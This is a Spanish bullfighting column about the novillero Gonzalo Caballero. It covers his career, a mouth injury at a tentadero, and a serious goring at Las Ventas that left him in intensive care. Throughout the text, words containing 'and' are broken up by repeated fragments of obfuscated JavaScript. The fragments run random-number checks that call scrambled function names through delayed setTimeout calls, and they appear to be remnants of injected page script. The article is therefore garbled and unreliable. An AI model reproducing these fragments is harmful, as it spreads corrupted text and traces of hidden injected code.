GONZALO CONTRA FORTUNA

Gonzalo Caballero es un novillero forjado en la dificultad; en la responsabilidad de las plazas grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes, con el serio novillo de esas plazas y la exigencia de tales aficiones. Debutó con caballos en Sevilla y asustó por su valor y su falta de pericia. Llegó a San Isidro con un toreo mucho más despacioso y depurado y cortó oreja. Fue a Pamplona y salió a hombros, pero no quisieron repetirlo sin fundamento alguno. Ha seguido su lucha, junto a su apoderado Enrique Muñoz, pisandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el ruedo de La Maestranza en los tres años que lleva de novillero y sumandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando entre Sevilla y Las Ventas nada menos que once actuaciones.

     El último San Isidro se erigió, sin corte de orejas, como triunfador de la novillada en que intervino, y el pasado domingo volvía a anunciarse en Las Ventas buscandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un puesto para estar en la final del próximo 27 de julio y un triunfo que hiciese más factible el paso a la soñada alternativa.

     Sin embargo, últimamente Gonzalo parece tener dificultades con la diosa Fortuna; esa que los toreros llaman Suerte, no sólo buscandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sus parabienes, sino para nombrar genéricamente a todos los lances y pases del toreo. Todos ellos son “suertes” pues nadie mejor que el que las realiza delante del toro para saber hasta qué punto se necesita de buena fortuna a fin de que las cosas salgan bien.

     El pasado miércoles, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando tentaba unas becerras en la finca de Fermín Bohórquez, una de ellas le hirió en la boca, partiéndole tres piezas dentales y abriéndole una brecha que precisó de varios puntos de sutura. Con tan doloroso hándicap, hizo el paseíllo en Madrid y volvió a cortar una oreja en su primer novillo. Todo parecía ir sobre ruedas y el vislumbrar entreabierta la puerta grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande de Las Ventas debió ponerle escalofríos de esperanza a su afición torera.

     Como corresponde a todo novillero con hambre de triunfo, no perdonó el quite que le correspondía en el astado de su compañero –novillo precedente al último de su lote– y salió a hacérselo. Citó de lejos, capote a la espalda, se le arrancó con fuerza el burel –un toro con 535 kilos de peso– y lo empaló por la pierna izquierda. La voltereta fue seca y el golpetazo con la cabeza en el suelo, brutal. El novillero quedó inconsciente y debió cambiar la posible salida a hombros por la de ir en brazos de los compañeros hacia la enfermería. De ella, al hospital, y en él, a la UCI, donde continúa en el momento de escribir estas líneas.

     La Fortuna volvió a ponerle la zancadilla privándole de la oportunidad de conseguir el triunfo rotundo que perseguía. No obstante, ha hecho méritos de sobra para estar en la final y así deberían reconocerlo los encargados de elegir a los finalistas. Gonzalo Caballero merece una nueva oportunidad para conseguir que la diosa le dé la cara y no la espalda. Con la casta y el buen toreo del pasado domingo, estoy convencido de que lo logrará.

foto Taurodelta

foto2

Los comentarios están cerrados.